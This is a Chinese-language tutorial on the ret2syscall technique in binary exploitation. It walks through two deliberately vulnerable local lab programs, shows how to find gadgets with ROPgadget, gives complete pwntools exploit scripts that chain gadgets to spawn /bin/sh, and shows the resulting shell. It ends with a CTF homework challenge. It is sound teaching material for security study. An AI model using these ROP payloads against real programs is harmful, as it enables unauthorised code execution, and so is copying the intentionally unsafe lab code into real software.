%%本节前置:Stack-1, Stack-2-1, Stack-2-2-2%%
本节介绍ret2syscall
的相关内容。在Stack-2-2-2中,我们学习了基本的ret2shellcode
攻击手法。在此之前我们还学习了ret2text
的攻击手法。到目前为止,我们学习的攻击手法都针对system("/bin/sh\x00")
进行利用。回忆一下这两种攻击手法。ret2text
在程序中直接存在system("/bin/sh\x00")
,直接覆盖返回地址,而在ret2shellcode
中,是执行我们shellcode,相当于我们自己写入程序的system("/bin/sh\x00")
。而本节介绍的ret2syscall
可以正式看作是原教旨主义的ret2shellcode
,贯彻了覆写+劫持的基本思想
技术梗概
ret2syscall
,即return to system call,指控制程序执行系统调用。 在上一节中我们简单介绍了系统调用的相关概念。简单来说,当你把某些寄存器设置为特殊的值,并通过syscall
指令触发,就可以执行一个特定的函数。ret2syscall
实现的系统调用和ret2shellcode
是相同的,区别是我们需要用程序中存在的gadgets来构造系统调用。可以理解为ret2text
的shellcode实现版。
在ret2syscall
的利用中,一般要求能控制四个特定寄存器的值,即
rax
,用于给出系统调用号rdi
,rsi
,rdx
,用于传递exec()
的三个参数。
比如有gadget如下
pop rax;pop rdi;pop rsi;pop rdx;ret
那么这段magic gadget就可以帮助我们直接完成ret2syscall
的利用。
一般来说,一个静态链接的程序也许会存在足够的合适的gadget供我们完成利用。但大多数情况下我们凑不起这么多gadgets。所以ret2syscall
的利用局限性较大,但是它能够绕过NX
保护,即不直接在栈上执行代码。
技术详解
我们由两个实验来详细理解ret2syscall
的利用手法和思想。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char binsh[8] = "/bin/sh\x00"; void gift() { asm("pop %rax; pop %rdi; pop %rsi; pop %rdx; ret"); } void vuln() { char buf[0x10]; read(0, buf, 0x100); } int main() { asm("syscall;"); vuln(); return 0; }
我们采用内联汇编的形式插入gadgets,以下面的命令编译。
gcc -fno-stack-protector -no-pie -z execstack -O0 Lab-s-2-3-1.c -o lab
依旧是很简单的程序逻辑。溢出点在vuln()
函数中,贯彻覆写+劫持的基本思想,我们布置以下的栈结构。
- 程序的返回地址写到gadgets,执行
pop rax
弹出栈上的0x3b
pop rdi
弹出栈上的binsh
指针pop rsi
;pop rdx
弹出栈上的0ret
返回到syscall
执行
于是我们有下面的payload
payload = cyclic(padding) + p64(gadget_addr) + p64(0x3b) + p64(binsh_addr) + p64(0) * 2 + p64(syscall_addr)
使用ROPgadget
查看gadget地址
❯ ROPgadget --binary lab --only "pop|ret"
完整EXP如下
from pwn import * io = process("./lab") padding = 0x18 gadget_addr = 0x40112a syscall_addr = 0x401157 binsh_addr = 0x404018 payload = cyclic(padding) + p64(gadget_addr) + p64(0x3b) + p64(binsh_addr) + p64(0) * 2 + p64(syscall_addr) io.sendline(payload) io.interactive()
RESULT
❯ python exp-1.py [+] Starting local process './lab': pid 31887 [*] Switching to interactive mode $ whoami K4per
这是第一个实验,我们来看第二个,只做略微修改。
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> char binsh[8] = "/bin/sh\x00"; void gift() { asm("pop %rax; ret;"); asm("pop %rdi; ret;"); asm("pop %rsi; ret;"); asm("pop %rdx; ret;"); } void vuln() { char buf[0x10]; read(0, buf, 0x100); } int main() { asm("syscall;"); vuln(); return 0; }
同样编译。
这次我们的gadgets是分开的,所以我们就需要多次控制返回地址。我们布置如下的栈。
ROP链如下
- 覆盖原来返回地址为
pop rax;ret;
- 执行
pop rax
弹出0x3b
,返回到pop rdi
- 执行
pop rdi
弹出binsh
,返回到pop rsi
- 执行
pop rsi
弹出0,返回到pop rdx
弹出0 - 返回到syscall,执行系统调用。
那么我们可以给出payload
payload = cyclic(padding) + p64(pop_rax) + p64(0x3b) payload += p64(pop_rdi) + p64(binsh_addr) payload += p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) payload += p64(syscall_addr)
完整EXP如下
from pwn import * io = process("./lab") padding = 0x18 pop_rax = 0x40113a pop_rdi = 0x40115a pop_rsi = 0x40117a pop_rdx = 0x40119a syscall_addr = 0x4011e2 binsh_addr = 0x404020 payload = cyclic(padding) + p64(pop_rax) + p64(0x3b) payload += p64(pop_rdi) + p64(binsh_addr) payload += p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) payload += p64(syscall_addr) io.sendline(payload) io.interactive()
RESULT
[+] Starting local process './lab': pid 40015 [*] Switching to interactive mode $ whoami K4per
总结
本节给出了两个实验,学习ret2syscall
的利用手法。实际上,通过多次ret
控制寄存器的值来控制程序执行流的手法正是ROP的精髓所在。我们用ROP的形式完成了shellcode的工作。是为原教旨主义版的ret2shellcode
留下一道题作为作业。
CTFPLUS Geek Challenge 2024 买黑吗喽了吗
本题涉及到一些整数溢出的知识,请自行搜索资料查阅